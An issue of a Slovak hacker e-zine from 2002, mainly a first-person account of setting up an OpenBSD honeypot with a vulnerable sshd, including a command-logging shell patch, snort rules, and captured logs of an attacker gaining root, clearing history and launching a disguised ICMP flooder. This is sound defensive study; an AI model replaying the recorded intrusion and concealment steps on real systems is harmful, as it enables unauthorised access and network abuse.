::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   prielom #18, 27.11.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/


obsah




intro

tak a hysterka je naspat v plnej sile. hardware je novy a ambicie ostali tie stare - stat sa komunikacnym centrom pocitacoveho undergroundu v nasich koncinach. a predsa este cosi viac. myslim si ze na slovensku a v cechach nam chyba nejaka mienkotvorna identita ktora by bola alternativou k statnemu a firemnemu sektoru. ludia si vytvaraju nazor na rozne veci suvisace s informacnymi technologiami len na zaklade toho co dostanu naservirovane od marketingovych masinerii it firiem, pripadne od nasej vlady. neexistuje ziaden znamejsi zdroj informacii o tychto oblastiach ktory by prezentoval alternativne ci opozicne nazory k tym od spominanych dvoch sektorov. ked napriklad pise novinar v nemecku clanok o digitalnom podpise tak si okrem firemnych zdrojov a prislusneho zakona vramci objektivity precita aj nazor computer chaos clubu ci americkeho electronic frontier foundation. spravit z hysterky nieco na sposob poslednych dvoch spominanych institucii su azda silne reci, ale minimalne je to smer ktorym sa chcem vydat. ak by totiz u nas chcel novinar pisat clanok o digitalnom podpise, precita si len clanok v platku typu "infotrendy" (www.etrend.sk) ktory prislusnemu "autorovi" podstrcilo marketingove oddelenie silnej it firmy (spolu s firemnym trickom s limcekom a firemnym parker perom), pripadne si svoj nazor vytvori na jednej zo smiesnych "it konferencii" ktore sa v cechach a na slovensku robia x-krat do roka a ktore su len pasovou prehliadkou firemnych komercnych prezentacii..

centralny zdroj alternativnych nazorov k oblastiam ktore suvsia s kyberpriestorom - to je moja vizia hysterky v buducnosti ktoru som rozhodnuty budovat. dat dokopy hardware a rozbehnut web bolo to najjednoduchsie (no vlastne ani nie - slova vdaky za vcelku umornu pracu putuju zyxovi a maniacovi :). co bude tazsie je dat dokopy siroku komunitu ludi so spolocnymi konickami a nazormi. preto koncim toto intro s co najuprimnejsie myslenou hlasnou vyzvou: ludia ktori vidite veci inak ako komercny ci vladny sektor a chyba vam komunikacna platforma - ozvite sa mi. nechajte svoj hlas pocut prostrednictvom pevnej ochrannej bariery hysterky.

pajkus, 22.11.02, ruzinov




medove tyzdne s OpenBSD

pred casom sa v roznych interentovych periodikach objavil odkaz na analyzu napadnuteho honeypotu s operacnym systemom OpenBSD 3.0 [1], ktoreho navrh sa mne nie tak celkom pozdaval a podnietil ma, aby som si podobnu situaciu nasimuloval sam a uzil si trochu zabavy. tento clanok popisuje zivotny cyklus projektu a ciastocne je i uvahou na rozne suvisiace temy.

honeypot?

hned na uvod by sme si mali vysvetlit, co to honeypot vlastne je. ako aj samotny preklad anglickeho nazvu napoveda, ide o "nadobku s medom", avsak nadobou je v tomto prenesenom vyzname hostitelsky pocitac, ci uz fyzicky, virtualny (napr. usermode linux[2]) alebo simulovany (napr. honeyd[3]) a tym medom je operacny system, ktory je umyselne ponechany napospas utocnikom a ako pohar s medom laka svojou vonou k sladkej dobrote, tak ich on snazi prilakat k prieniku do systemu. ak vam to este stale nedava zmysel, dodam, ze takyto system je potom pozornym okom sledovany a utoky su podrobne vyhodnocovane. takymto sposobom je mozne studovat metodiku utocnikov, ziskat nastroje, ktore k prienikom pouzivaju k dalsej analyze a vyvodit z toho patricne dosledky. najznamejsim projektom, ktory je zaroven priekopnikom tejto metody, je The Honeynet Project [4]. ak vas tato tematika zaujala, na ich strankach mozete ziskat mnozstvo relevantnych informacii.

dizajn siete

prave dizajn honeypotu, o ktorom pojednava vyssieuvedena studia, sa mne osobne nepozdaval. autor sa rozhodol, ze samotny system, ktory bolo mozne napadnut, umiestni za firewall do lokalneho ip adresneho pasma, cize nebude mozne sa nan pripojit priamo z internetu a naopak a len presmeroval jeden port, na ktorom bezi derave sshd (OpenSSH z OpenBSD 3.0) na cielovy stroj a prepusta spojenia von. i ked sam priznava, ze bol k takemuto navrhu dotlaceny nedobrovolne, kedze nemal k dispozicii viac ipadries a jeho cielom bolo otestovat, ci je mozne prevadzkovat honeypot aj v takomto prostredi.

prakticky jedina vyhoda, ktoru ziskal je prave ta, ze moze prevadzkovat honeypot aj za situacie, ked moze pouzit len jednu ipadresu a je nuteny posunut dalsie systemy dovnutra lokalnej siete. takyto system vsak nemoze sluzit ako modelovy pripad, kedze utocnik je prakticky "vymknuty" vo vnutri a preniknut naspat inou cestou (backdoor iny ako sshd) je pre neho pomerne narocne. po zbeznom prehliadnuti systemu musi byt utocnikovi taktiez okamzite jasne, ze nie je vsetko uplne v poriadku a moze zacat sipit podozrenie a jednoducho odist a uz sa nevratit. takyto honeypot plni teda len polovicnu funkciu: umozni sledovat a analyzovat situaciu predchadzajucu prieniku a prienik samotny. nie je uz mozne pozorovat dalsie kroky, ktore utocnik moze vykonat s vynimkou jeho tapania na suchu a nasledneho odchodu, ci uz z dovodu toho, ze pojme podozrenie, ze so systemom nie je vsetko v poriadku alebo jednoducho jeho technicke schopnosti nebudu postacovat na prekonanie takejto bariery.

osobne sm sa rozhodol pouzit fyzicky stroj s verejnou ipadresou, kedze taketo riesenie bolo v danej situacii najjednoduchsie a najpriamociarejsie (a nebol som obmedzovany nedostatkom adries).

                      .
       Internet       .                        LAN
                      .
    (tam ziju levy)   .
                      .        .------->[ monitorovacia stanica (ipfilter) ]
                      .        |                          ^
                      .        |                          |
                      .  snort log, syslog                |
                      .        |                          |
                   [ firewall (snort, iptables) ]         |
                      .        ||                         |
                      .        ||                      syslog
                      .        ||______________.          |
                      .        `---------------[ honeypot (sh, syslog) ]
                      .

konfiguracia, logovanie a nastroje

ako operacny system na honeypot som pre zmenu pouzil OpenBSD 3.1, ktory ma po defaultnej instalacii taktiez deravy ssh daemon [5] a vyhradil som si na tento ucel starsi notebook, v ktorom som vymenil disk, aby som si zachoval povodny system a data bez reinstalacie. nainstaloval som nan beznu instalaciu tohto systemu (bez X), vratane ports a doinstaloval som typicke uzivatelske aplikacie, aby system vyzeral byt pouzivany a zaroven poskytol relativne pohodlne prostredie pre utocnika (screen, autotools, wget, etc.). taktiez som vytvoril niekolkych uzivatelov a pocas priprav som niekolko dni vytvaral falosnu aktivitu na tychto kontach ale tiez nie privelmi frekventovanu, aby nebolo podozrive, ze uzivatelia nie su aktivni prave vo chvili, ked bude system napadnuty.

problem, na ktory narazil autor spominanej studie v tejto faze, a sice, ze "nebol schopny pouzit patch, ktory umoznuje po aplikovani na zdrojove kody bash 2.05 logovat uzivatelske prikazy cez syslog, pretoze takyto bash nie je mozne potom spolahlivo pouzit ako /bin/sh (ktory exploit spusta) v systeme OpenBSD" som nemohol brat ako padny argument a vyriesil som to po svojom--napisal som si vlastny. patch pre pdksh, ktory OpenBSD pouziva v sh mode ako /bin/sh a v nativnom mode ako /bin/ksh je prilozeny tu:

   --- lex.c.orig	Sat Jul 20 16:16:18 2002
   +++ lex.c	Sat Jul 20 16:07:37 2002
   @@ -7,6 +7,9 @@
    #include "sh.h"
    #include <ctype.h>
   
   +#ifdef HONEYPOT
   +#include <syslog.h>
   +#endif
   
    /* Structure to keep track of the lexing state and the various pieces of info
     * needed for each particular state.
   @@ -1001,6 +1004,9 @@
    	char *xp = Xstring(s->xs, xp);
    	int interactive = Flag(FTALKING) && s->type == SSTDIN;
    	int have_tty = interactive && (s->flags & SF_TTY);
   +#ifdef HONEYPOT
   +       char logbuf[600];
   +#endif
   
    	/* Done here to ensure nothing odd happens when a timeout occurs */
    	XcheckN(s->xs, xp, LINE);
   @@ -1080,6 +1086,17 @@
    	s->start = s->str = Xstring(s->xs, xp);
    	strip_nuls(Xstring(s->xs, xp), Xlength(s->xs, xp));
    	/* Note: if input is all nulls, this is not eof */
   +#ifdef HONEYPOT
   +	if (strlen(Xstring(s->xs, xp)) < 600)
   +		syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s",
   +			getpid(), getuid(), Xstring(s->xs, xp));
   +	else {
   +		strncpy(logbuf, Xstring(s->xs, xp), sizeof(logbuf));
   +		logbuf[sizeof(logbuf) - 1] = '\0';
   +		syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s(TRUNCATED!)",
   +			getpid(), getuid(), logbuf);
   +	}
   +#endif
    	if (Xlength(s->xs, xp) == 0) { /* EOF */
    		if (s->type == SFILE)
    			shf_fdclose(s->u.shf);

tento patch som aplikoval v adresari /usr/src/usr.bin/ksh/ a skompiloval novy shell prikazom: HONEYPOT=1 make a nahradil nim /bin/ksh (/bin/sh je hardlink). jeho ucel je rovnaky ako uz spominaneho patchu pre bash z honeynet.org--logovat prikazy, ktore uzivatel zada shellu cez syslogd s prioritou info.local5.

potencialny utocnik by vsak mohol zabit proces syslogd a musel by som tieto data pracne rekonstruovat z logov zachytenych tcp spojeni na firewalle (tomu som sa nakoniec tak ci tak nevyhol). preto som upravil tiez zdrojove kody syslogd, ktore mi umoznili pustit dve instancie tohto programu sucasne a zaroven nacitavat konfiguraciu z ineho miesta ako je /etc/syslogd.conf. tieto upravy boli trivialne a mozete si ich vypracovat ako domacu ulohu :). takto upraveny syslogd som nakopiroval na miesto, ktore povodne patrilo apmd a povolil jeho spustenie standardnym sposobom v /etc/rc.conf, takze sa po starte tvaril velmi neskodne (kto by preco zabijal advanced power management daemon, vsakze?). tento syslogd posielal vsetky logy cez siet na monitorovaciu stanicu. tym boli upravy na samotnom cielovom stroji kompletne.

na firewalle, ktory oddeluje lokalnu siet od internetu, bol nainstalovany intrusion detection system snort, ktory taktiez posielal data urcene k neskorsej analyze na monitorovaciu stanicu. konfiguracia sa len velmi mierne lisila od standardneho nastavenia, relevantny vynatok z pravidiel je tu:

   ruletype honeypot-traffic
   {
     type log
     output log_tcpdump: honeypot-traffic.log
   }
   
   honeypot-traffic tcp  $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming TCP Traffic";)
   honeypot-traffic udp  $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming UDP Traffic";)
   honeypot-traffic icmp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming ICMP Traffic";)
   honeypot-traffic tcp  $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing TCP Traffic";)
   honeypot-traffic udp  $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing UDP Traffic";)
   honeypot-traffic icmp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing ICMP Traffic";)
funkcnost je zrejma, loguje vsetky pretecene data smerujuce na a z cieloveho stroja v tcpdump formate. snort samotny uz obsahuje v subore experimental.rules (v case pisania clanku) pravidla na detekciu gobbles exploitu na OpenSSH. $HONEYNET je premenna obsahujuca ipadresu honeypot stroja.

na firewalle samotnom su nastavene dost tuhe pravidla pre paketovy filter (iptables, GNU/Linux), takze som sa neobaval pripadneho napadnutia inych segmentov lokalnej siete a na monitorovacej stanici som zakazal akykolvek traffic z honeypot stroja okrem dat zo syslogu (ipfilter, Solaris). nechcel som pridavat ziadne extra pravidla na firewalle, aby utocnik nedostal pocit, ze je kdesi vymknuty ale zaroven som bol pripraveny odpojit ho od siete, ak by zacal vyvijat aktivitu, ktora by mi mohla sposobit problemy (napadanie dalsich systemov na internete, icmp floodovanie, etc.). este dodam, ze v tomto segmente lokalnej siete sa ziadne dalsie pocitace v tom case nenachadzali.

pre zjednodusenie orientacie bude firewall oznaceny ako 'firewall' a honeypot stroj 'honeypot', v skutocnosti maju ine mena. realne ipadresy ostatnych pocitacov fugurujucich v logoch boli taktiez pozmenene.

priebeh

na druhy den po spusteni (Jul 20 16:43:41), presnejsie o par hodin, sa objavili prve skeny na ssh a pokracovali i neskor:

   Jul 21 04:35:47 honeypot sshd[2192]: Connection from aaa.aa.aa.aa port 2601
   Jul 21 04:37:03 honeypot sshd[2192]: Did not receive identification string from aaa.aa.aa.aa
   ...
   Jul 21 10:09:59 honeypot sshd[7602]: Connection from bbb.bbb.bbb.bb port 60298
   Jul 21 10:09:59 honeypot sshd[7602]: Did not receive identification string from bbb.bbb.bbb.bb
   ...
   Jul 22 23:21:48 honeypot sshd[13222]: Connection from ccc.cc.ccc.cc port 1480
   Jul 22 23:31:53 honeypot sshd[13222]: fatal: Timeout before authentication for ccc.cc.ccc.cc.

az nakoniec prisiel prvy uspesny utok z adsl klienta kanadskeho poskytovatela pripojenia:

   Jul 23 20:42:27 honeypot sshd[14629]: Connection from xxx.xxx.xxx.xx port 32854
   Jul 23 20:42:27 honeypot sshd[14629]: Enabling compatibility mode for protocol 2.0
   Jul 23 20:42:29 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
                            [Classification: Misc Attack] [Priority: 2]:
                            {TCP} xxx.xxx.xxx.xx:32854 -> honeypot:22
   Jul 23 20:42:33 honeypot sshd[14629]: Failed none for root from xxx.xxx.xxx.xx port 32854 ssh2
   Jul 23 20:42:33 honeypot sshd[14629]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 32854 ssh2
   Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
   Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
   Jul 23 20:42:40 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
                            [Classification: Misc Attack] [Priority: 2]:
                            {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854
   Jul 23 20:42:41 honeypot sh: HISTORY: PID=14629 UID=0 uname -a;id
   Jul 23 20:42:41 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
                            [Classification: Potentially Bad Traffic] [Priority: 2]:
                            {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854

   OpenBSD honeypot 3.1 GENERIC#59 i386
   uid=0(root) gid=0(wheel) groups=0(wheel)
avsak jedine, na co sa dotycny zmohol, bol prikaz w o par minut neskor:
   Jul 23 20:51:53 honeypot sh: HISTORY: PID=14629 UID=0 w

   8:51PM  up 3 days,  4:07,  1 user, load averages: 0.07 , 0.08, 0.08
   USER   TTY FROM             LOGIN@  IDLE WHAT
   martin  C1 -               Mon01AM  1day screen
a nasledne sa odpojil. pravdepodobne sa zlakol uzivatela, ktory bol prihlaseny na konzole a mal idle viac nez den. mal spusteny screen a v nom browser links s natiahnutou strankou google.com. odhlasil som ho a vyckaval dalej..

dalsie skeny sa objavili az o dva dni neskor a sporadicky pokracovali zopar dalsich dni:

   Jul 25 19:59:57 honeypot sshd[30]: Connection from ddd.ddd.ddd.ddd port 3292
   Jul 25 20:00:52 honeypot sshd[30]: Bad protocol version identification
                                      '\M^?\M-t\M^?\M-}\^F\M^?\M-t\M^?\M-}\^Flol' from ddd.ddd.ddd.ddd
   ...
   Jul 26 03:52:58 honeypot sshd[17038]: Connection from ee.eee.ee.eee port 3997
   Jul 26 04:03:03 honeypot sshd[17038]: fatal: Timeout before authentication for ee.eee.ee.eee.
   ...
   Jul 30 12:30:40 honeypot sshd[1748]: Connection from fff.fff.fff.ff port 1817
   Jul 30 12:30:40 honeypot sshd[1748]: Did not receive identification string from fff.fff.fff.ff
   ...
   Aug  1 06:02:06 honeypot sshd[16014]: Connection from ggg.ggg.gg.ggg port 1901
   Aug  1 06:12:06 honeypot sshd[16014]: fatal: Timeout before authentication for ggg.ggg.gg.ggg.

az sa napokon objavil opat nas stary znamy, ktory uz zjavne isiel na istotu:

   Aug  1 18:47:26 honeypot sshd[25245]: Connection from xxx.xxx.xxx.xx port 57008
   Aug  1 18:47:26 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
                            [Classification: Misc Attack] [Priority: 2]:
                            {TCP} xxx.xxx.xxx.xx:57008 -> honeypot:22
   Aug  1 18:47:27 honeypot sshd[25245]: Enabling compatibility mode for protocol 2.0
   Aug  1 18:47:29 honeypot sshd[25245]: Failed none for root from xxx.xxx.xxx.xx port 57008 ssh2
   Aug  1 18:47:30 honeypot sshd[25245]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 57008 ssh2
   Aug  1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
   Aug  1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
   Aug  1 18:47:32 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
                            [Classification: Misc Attack] [Priority: 2]:
                            {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008
   Aug  1 18:47:32 honeypot sh: HISTORY: PID=25245 UID=0 uname -a;id
   Aug  1 18:47:32 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
                            [Classification: Potentially Bad Traffic] [Priority: 2]:
                            {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008

   OpenBSD honeypot 3.1 GENERIC#59 i386
   uid=0(root) gid=0(wheel) groups=0(wheel)

   Aug  1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 unset HISTFILE
   Aug  1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 w

   6:47PM  up 12 days,  2:03, 0 users, load averages: 0.06, 0.08, 0.08
   USER   TTY FROM              LOGIN@  IDLE WHAT

   Aug  1 18:47:39 honeypot sh: HISTORY: PID=25245 UID=0 ls

   .cshrc  .profile   altroot   bin     boot    bsd    dev    etc    home
   mnt     root       sbin      stand   sys     tmp    usr    var

   Aug  1 18:47:42 honeypot sh: HISTORY: PID=25245 UID=0 ps aux

   USER        PID %CPU %MEM  VSZ   RSS TT   STAT STARTED       TIME COMMAND
   root      25245  5.8  0.4  384   308 ??  S      6:47PM    0:01.39 //bin/sh
   root      12177  0.0  0.4  100   352 ??  Is    20Jul02    0:04.46 syslogd
   root       6530  0.0  0.4   76   292 ??  Is    20Jul02    0:00.02 portmap
   root      12662  0.0  1.6 1092  1312 ??  Ss    20Jul02    0:51.81 /usr/sbin/htt
   root       3157  0.0  0.5  763    84 ??  Is    20Jul02    0:00.08 inetd
   www       24521  0.0  1.1 1092   888 ??  I     20Jul02    0:00.08 /usr/sbin/htt
   www        1134  0.0  1.1 1092   888 ??  I     20Jul02    0:00.08 /usr/sbin/htt
   www       17705  0.0  1.1 1092   908 ??  I     20Jul02    0:00.10 /usr/sbin/htt
   root      28815  0.0  1.0  372   828 ??  Ss    20Jul02    0:19.60 /usr/sbin/ssh
   root       7345  0.0  0.5   80   368 ??  Ss    20Jul02    0:04.40 (apmd)
   root      25599  0.0  0.5  224   440 ??  Is    20Jul02    0:05.48 cron
   root      22711  0.0  0.3   36   256 ??  Is    20Jul02    0:00.01 /usr/sbin/wsm
   root        649  0.0  0.5   48   408 C2  Is+   20Jul02    0:00.02 /usr/libexec/
   root      22447  0.0  0.5   48   408 C3  Is+   20Jul02    0:00.02 /usr/libexec/
   root      28337  0.0  0.5   48   408 C5  Is+   20Jul02    0:00.02 /usr/libexec/
   root       9662  0.0  1.0  836   784 ??  Ss    20Jul02    1:48.26 sendmail: acc
   root       5418  0.0  0.5   48   408 C0  Is+   20Jul02    0:00.02 /usr/libexec/
   www       13599  0.0  1.1 1092   892 ??  I     20Jul02    0:00.08 /usr/sbin/htt
   martin     7115  0.0  1.1  424   856 ??  Is    22Jul02    0:00.23 SCREEN (scree
   martin    25456  0.0  0.4  392   340 p0  Is    22Jul02    0:00.14 /bin/ksh
   martin    15687  0.0  1.4  860  1112 p0  I+    22Jul02    0:00.16 links
   root      24909  0.0  0.5   48   412 C1  Is+   23Jul02    0:00.03 /usr/libexec/
   www       25082  0.0  1.1 1092   892 ??  I     Fri07AM    0:00.05 /usr/sbin/htt
   www       29217  0.0  1.1 1092   892 ??  I     Wed07AM    0:00.03 /usr/sbin/htt
   www       10007  0.0  1.1 1092   892 ??  I     Wed0 7AM   0:00.03 /usr/sbin/htt
   root          1  0.0  0.0  332    76 ??  Is    22Jul02    0:00.10 /sbin/init

   Aug  1 18:47:46 honeypot sh: HISTORY: PID=25245 UID=0 w

   6:47PM  up 12 days,   2:03, 0 users, load averages: 0.06, 0.08, 0.08
   USER   TTY FROM               LOGIN@  IDLE WHAT

   Aug  1 18:47:51 honeypot sh: HISTORY: PID=25245 UID=0

ocividne ho posmelilo, ze tentokrat uz nenasiel ziadneho nalogovaneho uzivatela a tak sa o chvilku vratil (prazdny prikaz v HISTORY predstavuje ctrl-d) a s chutou sa pustil do prace. nalogoval sa na ftp server urceny pre klientov isteho holandskeho poskytovatela pripojenia a stiahol si nevinne vyzerajuci subor td.doc (ftp spojenie je zrekonstruovane z dat na firewalle):

   Aug  1 18:48:01 honeypot sh: HISTORY: PID=25316 UID=0 ftp yy.yy.yy.yy

   220 FTP server (Version 7.02 - Yyyyyyyyy 1.1) ready.
   USER xxxxxx
   331 Password required for xxxxxx.
   PASS xxxxxxxx
   230 User xxxxxx logged in.
   SYST
   215 UNIX Type: L8 Version: BSD-199506
   TYPE I
   200 Type set to I.
   SIZE td.doc
   213 102400
   EPSV
   500 'EPSV': command not understood.
   PASV
   227 Entering Passive Mode (yy,yy,yy,yy,7,156)
   RETR td.doc
   150 Opening BINARY mode data connection for 'td.doc' (102400 bytes).
   226 Transfer complete.
   MDTM td.doc
   213 20020727165925
   QUIT
   221 Goodbye.
(kedze pouzitie tohto ftp konta by mohlo byt povazovane za porusenie zakona z mojej strany, nepokusal som sa nan nalogovat (a v principe ani nebolo cielom patrat po utocnikovi). navyse, samotny binarny subor som ziskal na neskorsiu analyzu priamo na honeypot stroji.)

opat sa porozhliadol, ci sa nahodou, medzitym ako mal spustene ftp, nikto neprihlasil do systemu a vytvoril si subor, ktory zatial nedaval velky zmysel. ("n hodnota" je oblubeny format konfiguracnych suborov pre rootkity odnepamati. v tomto momente som mohol len hadat jeho urcenie. predstavuje 3 skupinu procesov, ktore sa nebudu zobrazovat v prikazoch ps, top a pod. alebo ide o subory, ktore neukaze ls, find, ...?).

presunul td.doc do /usr/include/... a na druhy krat sa mu podarilo nastavit spustitelne prava. nakoniec ho spustil, znova sa poobzeral, skontroloval procesy a pokusil sa reattachnut screen. tu by som sa nachvilku zastavil, pretoze toto mi pripadalo zaujimave. utocnik videl, ze v procesoch sa nachadza aj jeden spusteny screen, ktory vsak nebezal uzivatelovi root a navyse screen sa neda spustit bez toho, aby mal k dispozicii tty zaiadenie, takze toto bol pokus o nieco, co v ziadnom pripade nemohlo fungovat. skontroloval sietove spojenia a napokon sa odhlasil:

   Aug  1 18:48:28 honeypot sh: HISTORY: PID=25316 UID=0 w

   6:48PM  up 12 days,  2:04, 0 users, load averages: 0.10, 0.09, 0.08
   USER   TTY FROM              LOGIN@  IDLE WHAT

   Aug  1 18:48:30 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 ..." >>/dev/sdab
   Aug  1 18:48:45 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 lpsched" >>/dev/sdab
   Aug  1 18:48:51 honeypot sh: HISTORY: PID=25316 UID=0 mv td.doc /usr/include/...
   Aug  1 18:48:56 honeypot sh: HISTORY: PID=25316 UID=0 chmod + /usr/include/...
   Aug  1 18:49:00 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...

   //bin/sh: /usr/include/...: cannot execute - Permission denied

   Aug  1 18:49:08 honeypot sh: HISTORY: PID=25316 UID=0 chmod +x /usr/include/...
   Aug  1 18:49:12 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...
   Aug  1 18:49:13 honeypot sh: HISTORY: PID=25316 UID=0 w

   6:49PM  up 12 days,  2:05, 0 users, load averages: 0.10, 0.09, 0.08
   USER   TTY FROM              LOGIN@  IDLE WHAT

   Aug  1 18:49:15 honeypot sh: HISTORY: PID=25316 UID=0 ps aux

   USER        PID %CPU %MEM  VSZ   RSS TT   STAT STARTED       TIME COMMAND
   ...
   root       9825  0.0  0.4  132   288 ??   S     6:49PM    0:00.01 lpsched (...)

   Aug  1 18:49:23 honeypot sh: HISTORY: PID=25316 UID=0 screen -r

   Must be connected to a terminal...

   Aug  1 18:49:31 honeypot sh: HISTORY: PID=25316 UID=0 netstat -an

   Active Internet connections (including servers)
   Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
   tcp        0      0  honeypot:22            xxx.xxx.xxx.xx.57010   ESTABLISHED
   tcp        0      0  *.113                  *.*                    LISTEN
   tcp        0      0  127.0.0.1.587          *.*                    LISTEN
   tcp        0      0  127.0.0.1.25           *.*                    LISTEN
   tcp        0      0  *.22                   *.*                    LISTEN
   tcp        0      0  *.21                   *.*                    LISTEN
   tcp        0      0  *.80                   *.*                    LISTEN
   tcp        0      0  127.0.0.1.111          *.*                    LISTEN
   tcp        0      0  *.111                  *.*                    LISTEN
   Active Internet connections (including servers)
   Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
   udp        0      0  *.514                  *.*
   udp        0      0  127.0.0.1.111          *.*
   udp        0      0  *.111                  *.*
   udp        0      0  *.*                    *.*
   Active Internet connections (including servers)
   Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
   tcp6       0      0  ::1.587                *.*                    LISTEN
   tcp6       0      0  ::1.25                 *.*                    LISTEN
   tcp6       0      0  *.22                   *.*                    LISTEN
   Active UNIX domain sockets
   Address    Type   Recv-Q Send-Q      Inode       Conn       Refs    Nextref Addr
   0xe0861004 stream      0      0 0xe7949b78        0x0        0x0        0x0 /home/martin /.links/socket
   0xe08610b4 dgram       0      0        0x0 0xe0851cc0        0x0 0xe085a980
   0xe08014d0 dgram       0      0        0x0 0xe0851cc0        0x0 0xe0851580
   0xe0801b00 dgram       0      0        0x0 0xe0851cc0        0x0        0x0
   0xe08019a0 dgram       0      0 0xe793b848        0x0 0xe086e3c0        0x0 /dev/log
   0xe0801f20 dgram       0      0        0x0 0xe0851cc0        0x0 0xe0866dc0
   0xe0801790 dgram       0      0        0x0 0xe0834900        0x0        0x0
   0xe0801000 dgram       0      0 0xe7924e74        0x0 0xe0834680        0x0 /dev/log

   Aug  1 18:49:42 honeypot sh: HISTORY: PID=25316 UID=0

z vypisu posledneho prikazu ps by sa mohlo zdat, ze je uz jasne, na co sluzi subor /dev/sdab a riadky v nom. opak je vsak pravdou, tento subor totiz vobec nie je otvarany dotycnym binarnym suborom. analyza ukazala, ze sa jedna o mierne poupraveny flooder, znamy pod menom Bubonic.c [6], ktory pouziva fixne argv[] s hodnotou "lpsched" (nie velmi sikovne upraveny, kedze ukazuje aj nazov skutocneho suboru). tieto indicie by naznacovali, ze utocnik sa este chysta nainstalovat nejaky rootkit, ktory sa bude konfigurovat cez /dev/sdab a jednym z cielov je ukryt tento program. kedze okamzite po spusteni zacal generovat znacny icmp traffic, po niekolkych hodinach (Aug 2 02:11:55) vyckavania, ci sa utocnik opat prihlasi, som sa rozhodol jeho cinnost ukoncit.

bol som zvedavy, ci sa este ukaze a bude pokracovat v nacatej praci (stale tam bol subor, ktory nedaval zmysel..) ale kedze sa ani po 4 dnoch neukazal a ja som uz potreboval notebook opat pouzivat, honeypot som definitivne odpojil od siete (Aug 6 08:51:23).

par slov na zaver

s vacsinou veci musim s autorom spominanej analyzy suhlasit. akonahle sa objavia verejne dostupne exploity, ktorych pouzitie je trivialne a nekladie naroky na ich pouzitie, okamzite sa rozsiria medzi pospolity lud. vdacnymi uzivatelmi su najma pocetne skupinky script kiddies, ktorych najvacsou zabavou je floodovanie na irc, ktori potom cele dni skenuju velke casti internetu na zname chyby a masovo ich zneuzivaju. obetou podobneho utoku sa stal aj moj honeypot, comu nasvedcuje icmp flooder a dalsi nezaujem zo strany utocnika (ved podobnych strojov este najde stovky..).

extremne kratka doba, za ktoru bol system odhaleny a mnozstvo skenov, ktore pocas nej prebehli, naznacuje, ze OpenSSH bolo v case pisania clanku v kurze a kto nepatchuje, koleduje si o problemy a ani OpenBSD automaticky neznamena zabezpeceny system. utocnik bol ocividne zamerany (aj) prave na OpenBSD systemy, kedze mal pripravenu staticky linkovanu binarku floodera. jeho rozpacite pocinanie dava tusit, ze vela skusenosti pravdepodobne nema. fakt, ze sa ani nesnazil skryvat, moze znamenat, ze som bol jednoducho jednou z desiatok jeho obeti, ktore po pouziti zahodi a ide zase o serverovnu dalej.

este dodam, ze pocas prevadzkovania honeypotu skoncili v logoch stovky pokusov o prelomenie znamych dier v roznych inych kombinaciach systemov a softveru. prevazovali utoky na chyby v ISS, mnozstvo z nich boli pravdepodobne cervy. taktiez dalsie desiatky az stovky skenov na otvorene proxy servery, samba shares, ci ftp.

honeypoty sa stavaju modnou mainstreamovou zalezitostou. pre utocnikov to castokrat znamena, ze nevedia, ci sa pokusaju naburat do skutocneho deraveho servera, o ktory sa administrator nestara alebo sadaju na lepkavy med sikovne nachystaneho honeypotu. bude istotne zaujimave sledovat ako sa situacia vyvinie. a co vy, uz mate svoj honeypot?

odkazy


[1] - http://www.lucidic.net/whitepapers/manuzis-7-5-2002-1.html
[2] - http://user-mode-linux.sourceforge.net/
[3] - http://www.citi.umich.edu/u/provos/honeyd/
[4] - http://www.honeynet.org/
[5] - http://openbsd.org/errata.html#sshd
[6] - http://online.securityfocus.com/archive/82/78437

salo, salo(at)hysteria.sk

navrat na obsah
co ty na to ? board




problemy internetovej reklamy

